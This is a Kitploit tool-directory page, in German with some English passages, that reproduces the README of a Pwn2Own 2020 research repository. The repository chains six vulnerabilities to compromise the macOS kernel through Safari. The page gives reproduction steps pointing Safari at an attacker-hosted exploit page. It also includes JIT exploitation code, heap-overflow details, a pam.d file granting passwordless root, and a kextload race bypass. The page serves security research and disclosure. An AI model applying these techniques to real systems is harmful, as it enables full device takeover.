Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwn2own2020 — Gefährdung des macOS-Kernels über Safari durch Verkettung von sechs Schwachstellen | Kitploit
Tools/GitHubGitHub/sslab-gatech/pwn2own2020
Privilege EscalationExploitationShellcodeWebanwendungs-ExploitationPenetrationstestsPayload-EntwicklungBinary-Exploitation
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Gefährdung des macOS-Kernels über Safari durch Verkettung von sechs Schwachstellen

Repository anzeigen
41458vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kompromittierung des macOS-Kernels über Safari durch die Verkettung von sechs Schwachstellen

Übersicht

Dieses Repository enthält Exploit- und technische Details zu unserem Pwn2Own 2020-Siegerbeitrag, der Apple Safari mit einer Kernel-Rechteausweitung für macOS 10.15.3 angreift. Für weitere Informationen kannst du dir auch unsere Blackhat-USA-2020 Folien und das Video ansehen. Dieses Repository enthält außerdem unser Demo-Video zur erfolgreichen Ausnutzung.

Reproduktion

  1. Führe den HTTP-Server mit python3 im Ordner exploits aus.```shell $ python3 -m http.server 80
root@kitploit:~
2. Öffnen Sie die Website mit der IP des Angreifer-Servers in Safari:```
http://[attacker_ip]/exploit.html
  1. Warten Sie auf den Taschenrechner (normalerweise erscheint er innerhalb von zehn Sekunden, aber wenn Sie Pech haben, kann es etwas dauern) und ein Terminal mit Kernel-Rechten. Um unsere Kernel-Privilegieneskalation zu demonstrieren, haben wir SIP deaktiviert. Sie können dies überprüfen, indem Sie den Befehl csrutil status ausführen, der disabled anzeigt.

Aus dem Quellcode erstellen

Der Einfachheit halber haben wir ein kompiliertes Payload, payload.js, bereitgestellt. Falls Sie möchten, können Sie es aber selbst bauen. Beachten Sie, dass dies sehr lange dauern wird, da wir WebKit als Teil unserer Exploit-Kette erstellen werden. Es ist erwähnenswert, dass wir unseren Build-Prozess nur unter Mac OS getestet haben.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Technische Details
-----------------

Um diesen Exploit zu erstellen, haben wir die folgenden *SECHS* Schwachstellen miteinander verknüpft.

### 1. Remotecodeausführung in Safari durch fehlerhafte Modellierung von Nebeneffekten des 'in'-Operators im JavaScriptCore DFG-Compiler

- Ursachenanalyse

In JavaScriptCore, wenn eine indizierte Eigenschaft mit dem 'in'-Operator abgefragt wird,
geht der DFG-Compiler davon aus, dass dieser Vorgang nebenwirkungsfrei ist, es sei denn, in seiner Prototypenkette befindet sich ein Proxy-
Objekt, das diesen Vorgang abfangen kann.
JavaScriptCore markiert ein Objekt, das diesen indizierten
Eigenschaftszugriff mithilfe des Flags 'MayHaveIndexedAccessors' abfangen kann. Dieses Flag ist
explizit für das Proxy-Objekt gesetzt.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Es gibt jedoch ein weiteres Objekt, das Nebenwirkungen verursachen kann: JSHTMLEmbedElement, das eine eigene getOwnPropertySlot()-Methode implementiert. Eine Möglichkeit, JavaScript-Callbacks (d. h. Nebenwirkungen) mit dem in-Operator auszulösen, ist die Verwendung eines <embed>-Elements mit PDF-Plugin; wenn eine Eigenschaft auf dem DOM-Objekt des embed-/object-Tags abgefragt wird, versucht es, das zugrunde liegende Plugin zu laden, und der DOMSubtreeModified-Event-Handler kann im Fall des PDF-Plugins aufgerufen werden, da es die appendChild-Methode für das body-Element verwendet.

Dies ist der Stack-Trace des Aufrufs der Nebenwirkung von getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Da Objekte in der Prototypenkette nicht mit "MayHaveIndexedAccessors" markiert
sind, nimmt der JIT an, dass diese Verwendung des 'in'-Operators keine Transitions
enthält, wodurch die Array-Typüberprüfungen nach der Transition eliminiert werden.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

Indem wir daraus eine addrof/fakeobj-Primitive konstruieren, könnten wir eine beliebige RW-Primitive erzeugen, um mit der JIT-kompilierten JavaScript-Funktion Codeausführung zu erlangen.

  • Ausnutzung

Nachdem wir addrof/fakeobj-Primitiven erhalten haben, wandeln wir diese in stabilere addrof/fakeobj-Primitiven um, indem wir ein Objekt fälschen.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Wir leaken die Struktur-ID des hostObj, indem wir ein gefälschtes Funktionsobjekt
fakeHostObj erzeugen und Function.prototype.toString darauf aufrufen. Der Name der
Funktion spiegelt den Wert der Struktur-ID als UTF-16-String wider. Wir aktualisieren das
hostObj, nachdem wir die Struktur-ID geleakt haben. Erwähnenswert ist, dass diese
Technik aus [Yong Wang's Blackhat EU 2019
talk](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513) stammt.```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Jetzt zeigt der Butterfly von fakeHostObj auf fakeHostObj selbst. Wir können die addrof/fakeobj-Primitive nutzen, ohne den Bug erneut auszulösen, da wir auf hostObj.o entweder als JSValue oder als double über fakeHostObj[2] zugreifen können.

Mit der geleakten Struktur-ID von attackObj und der addrof/fakeobj-Primitive können wir Objekte wie unten dargestellt konstruieren.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
We can get arbitrary RW primitive using the fakeRwObj to update
fakeInnerObj's butterfly pointer and read/write from/to fakeInnerObj. To get
RCE from arbitrary RW primitive, we trigger the JIT compilation of the dummy
function, leak the code address, overwrite it with our shellcode.  Sometimes,
code address leak fails because we can't read/write certain values from our
fake array. In that case, we try to approximate it by reading from pointer
location + 1 and shifting the read value.  Finally, we overwrite the code
pointer of the alert function to our dummy function code pointer and call it
(with some arguments) to execute the shellcode.


### 2. Arbitrary .app launching in Safari via symbolic link in didFailProvisionalLoad()

Für file://-URLs öffnet Safari ein Finder-Fenster mit [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Diese Funktion akzeptiert zwei Parameter, und in den meisten Fällen verwendet Safari nur den
ersten Parameter, der den enthaltenden Ordner der angegebenen Datei anzeigt. Wenn
stattdessen der zweite Parameter verwendet wird, startet der Finder die Datei, wenn sie
ausführbar oder ein App-Bundle ist.

Safari verwendet den zweiten Parameter, nachdem es bestätigt hat, dass der angegebene Pfad
kein Anwendungs-Bundle ist --- ein Verzeichnis mit .app-Suffix. Da ein symbolischer Link auf
das Anwendungs-Bundle zeigen kann, aber kein Verzeichnis mit .app-Suffix ist, wird Safari die
Anwendung starten, auf die der symbolische Link zeigt. Dieser Codepfad kann durch Senden
der IPC-Nachricht didFailProvisionalLoad() ausgelöst werden.

Safari selbst kann jedoch aufgrund des Systemaufruf-Filters der Seatbelt-Sandbox keinen
symbolischen Link erstellen. Daher verwenden wir eine andere Schwachstelle, die root, aber
Sandbox-Codeausführung ermöglicht.


### 3. Beliebige Codeausführung im CVM-Dienst (Core Virtual Machine) über Heap-Überlauf

Es gibt einen sandboxierten XPC-Dienst namens com.apple.cvmsServ (d. h. CVMServer), der
Shader für verschiedene Architekturen kompiliert. Er ist Teil des integrierten
OpenGL-Frameworks.

Bei Anfragen mit auf 4 gesetztem Feld "message" parst CVMServer die benutzerdefinierten
"framework data" und "maps". Die Datendatei "maps" befindet sich unter
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - das erste %s ist
benutzerdefiniert ohne jegliche Filter. Daher ist Verzeichnis-Traversal möglich; wir können
es die Datei parsen lassen, die in der Sandbox von Safari erstellt wurde.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Wenn item_count * 56 + items_offset <= 0x50 ist, erhält fread() eine unterlaufene Länge nahe 2^64, sodass es zu einem Heap-Überlauf mit einem Payload beliebiger Länge kommt. Beachten Sie, dass fread() stoppt, sobald das Ende der angegebenen Datei erreicht ist.

Durch Ausnutzung dessen könnten wir das Heap-Objekt überschreiben, das mit der Verbindung zusammenhängt, wodurch die unten genannten Zeiger modifiziert werden könnten:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Wenn der „port"-Wert 0x103 (TASK-SELF) ist, gewährt der Dienst dem Client das
Senderecht auf den Task-Port von CVMServer, der zum Zuweisen von Speicher und
zum Ausführen beliebigen Codes im Prozess verwendet werden kann. Um v8[index].port == 0x103 zu erreichen,
durchsuchten wir den Speicher im Bibliotheksbereich, der über die Prozesse hinweg dieselben Adressen
aufweist.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

Es gab viele Bereiche, die zwei 64-Bit-Ganzzahlwerte 0, -1 hatten, und für rax+0x38 und X+0x30 stellten wir fest, dass _xpc_error_termination_imminent, ein öffentliches Symbol, diese Bedingung erfüllt. Da die Länge größer als 2^64 / 0x10 ist, konnten wir das modulare Inverse berechnen, um auf Y(==0)*0x18+index+0x10 == &0x103 zu zeigen.

Da CVMServer com.apple.security.cs.allow-jit gesetzt hatte, konnten wir mmap mit dem MAP_JIT-Flag aufrufen und unseren Reflective-Loader ausführen, um Dylib-Dateien im Prozess auszuführen. Wir führten diesen Code auf CVMServer aus:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
Nach dem Erstellen von %lu.app und dem symbolischen Link my.app kehrten wir zu Safari zurück und sendeten die IPC-Nachricht, um die App zu öffnen. Aber es gab zwei weitere Schutzmaßnahmen: die Quarantäne-Prüfung und die Prüfung beim erstmaligen Öffnen der App.

### 4. Umgehung des macOS-Schutzes beim erstmaligen Öffnen einer App

Wenn Safari versucht, eine App zum ersten Mal auszuführen, verweigert Safari die Ausführung, wenn die Datei ein Attribut namens com.apple.quarantine besitzt, oder wartet auf die Bestätigung des Benutzers. Alle von WebProcess erstellten Dateien haben das Attribut ---
com.apple.quarantine; wir können dies jedoch bereits umgehen, da wir den Ordner im CVMServer-Prozess erstellt haben, nicht in WebProcess. Für die Bestätigung des Benutzers erstellt macOS zuerst den Prozess, hält ihn an und setzt den Prozess fort, nachdem der Benutzer auf die Schaltfläche `Open` klickt. Das Senden des SIGCONT-Signals wirkte jedoch genauso wie das Klicken auf die Schaltfläche.

Daher führten wir diesen Code nach dem Erstellen von my.app kontinuierlich in CVMServer aus:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Root-Rechteausweitung in cfprefsd durch beliebige Datei-/Ordnerberechtigungsänderung infolge einer Race-Condition

cfprefsd ist ein weiterer XPC-Dienst, der es einem Benutzer ermöglicht, eine Plist-Datei zu erstellen. Er befindet sich in CoreFoundation und ist von den meisten unsandboxed Prozessen aus erreichbar. Da wir bereits unsandboxte Rechte für einen normalen Benutzer erlangt haben (d. h. CVMServer), können wir ihn bitten, eine Plist-Datei zu erstellen, sofern der Zielordner und die Datei über ausreichende Berechtigungsbits verfügen, die es dem Client-Benutzer erlauben, in die Datei zu schreiben. Wenn der Ordner jedoch nicht existiert, erstellt er den Ordner der Plist-Datei rekursiv.

Hier ist ein Codeausschnitt aus CVMServer, der den Ordner erstellt.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
But if a path points user-writable directory, a user can replace the directory
pointed by `cur`, and replace it with symbolic link to arbitrary file/folder.
Since cfprefsd has root privilege, it is possible to change the owner of the
folders like /etc/pam.d. By changing the owner of /etc/pam.d, we can write
/etc/pam.d/login with the content below:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Dann gibt der Befehl login root dem Benutzer eine Root-Shell ohne jede Authentifizierung.

6. Kernel-Privilegieneskalation durch Modul-Staging-Bypass und Race Condition in kextload

kextload ist eines der Programme, die Kext-Operationen (Kernel Extension) in macOS durchführen können. Durch Ausführen von kextload [path of .kext folder] kann ein Root-Benutzer ein signiertes Kext aus dem Benutzermodus laden. Um unsignierte oder ungültig signierte Kexts zu verhindern, setzt kextload den 'authenticator'-Callback im IOKitUser-Paket. Leider ist der Pfad des Kexts die einzige verfügbare Ressource für den Callback, wodurch Race Conditions schwer zu verhindern sind. Um dies zu entschärfen, kopiert kextload den Kext-Ordner zunächst in den dedizierten Bereich -- /Library/StagedExtensions ---, der dank SIP und des Entitlement-Mechanismus selbst mit Root-Rechten nicht modifiziert werden kann.

kextload funktioniert wie folgt. Wenn wir kextload /tmp/A.kext ausführen, kopiert kextload den ursprünglichen Kext-Ordner nach /Library/StagedExtensions/tmp/[UUID].kext. Anschließend prüft kextload die Signaturen aller Dateien im Ordner. Schlägt dies fehl, wird der Ordner gelöscht. Andernfalls kopiert es den Ordner nach /Library/StagedExtensions/tmp/A.kext und lädt dieses Modul.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Ein Problem bei kextload ist, dass dieser Prozess von einem Benutzer mit Root-Rechten
beendet werden kann. Es ist erwähnenswert, dass die zuvor erwähnte Kopie einen
symbolischen Link enthält, der später validiert wird. Wenn wir jedoch den kextload-Prozess
vor der Validierung beenden, können wir ein ungültiges kext mit einem symbolischen Link
in /Library/StagedExtensions behalten.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

Danach wird, wenn wir einen weiteren kextload-Befehl mit kextload /tmp/[UUID].kext/symlink/B.kext ausführen, B.kext an den beschreibbaren Speicherort für einen Benutzer mit Root-Rechten kopiert (z. B. /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
Nach dem Kopieren prüft kextload, ob es sich an einem sicheren Ort befindet, nämlich
`/Library/StagedExtensions/*`. Wir können den symbolischen Link vorübergehend unter
/tmp/A.kext platzieren, um auf /Library/StagedExtensions/[Pfad des gültigen kext] zu verweisen. Nach
der Validierung können wir das Modul-Binary durch ein unsigniertes Kernelmodul ersetzen, um
Kernel-Code-Ausführung zu erlangen.

Um den Race zuverlässig zu machen, haben wir sandbox-exec verwendet, um das Programm beim Datei-
zugriff mit dem angegebenen Suffix anzuhalten.


Autoren
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Zitation
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Referenzen

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Tool herunterladen